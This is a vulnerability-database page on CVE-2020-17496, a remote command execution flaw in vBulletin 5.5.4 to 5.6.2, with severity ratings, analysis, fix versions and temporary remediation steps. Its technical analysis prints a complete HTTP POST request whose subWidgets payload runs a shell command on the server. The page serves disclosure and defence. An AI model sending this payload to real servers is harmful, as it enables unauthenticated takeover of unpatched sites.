Attacker Value
High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
1

CVE-2020-17496

Disclosure Date: August 12, 2020 •
CVE-2020-17496 CVSS v3 Base Score: 9.8
Exploited in the Wild
Reported by ccondon-r7 and 1 more...
View Source Details
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.

Add Assessment

4
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Easy to weaponizeUnauthenticatedVulnerable in default configuration
Technical Analysis

A vulnerability exists in vBulletin that can allow the protections originally put in place to address CVE-2019-16759 to be bypassed. The vulnerability exists in how the patch handles child templates that are rendered by the widget_php template. A detailed write up which analyzes the patch and describes the issue regarding the child templates was posted to blog.exploitee.rs by the original author who discovered the vulnerability.

Successful exploitation involves an HTTP POST request and yields code execution in the context of the web application user. Due to the nature of templates, the result of the evaluation is included in the rendered output, allowing attackers to retrieve the output of their commands which makes the vulnerability more useful.

POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Host: 192.168.250.5
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/x-www-form-urlencoded
Content-Length: 168

subWidgets%5b0%5d%5btemplate%5d=widget_php&subWidgets%5b0%5d%5bconfig%5d%5bcode%5d=echo%20shell_exec%28base64_decode%28%27ZWNobyBra3hmenJLeQ%3d%3d%27%29%29%3b%20exit%3b

This vulnerability was fixed in vBulletin version 5.6.3, with patches released for versions 5.6.0, 5.6.1 and 5.6.2.

To temporarily remediate the vulnerability, delete the “widget_php” module by following these steps:

  1. Put the site into debug mode.
  2. Log into the AdminCP.
  3. Go to Styles > Style Manager.
  4. Open the template list for the MASTER style.
  5. Scroll to the bottom where it says Module Templates.
  6. Highlight the widget_php module.
  7. Click the Revert Button.
Log in to Add Reply
CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
exploit/multi/http/vbulletin_widget_template_rce
Reporter
Unknown

Vendors

  • vbulletin

Products

  • vbulletin

Exploited in the Wild

Reported by:
Technical Analysis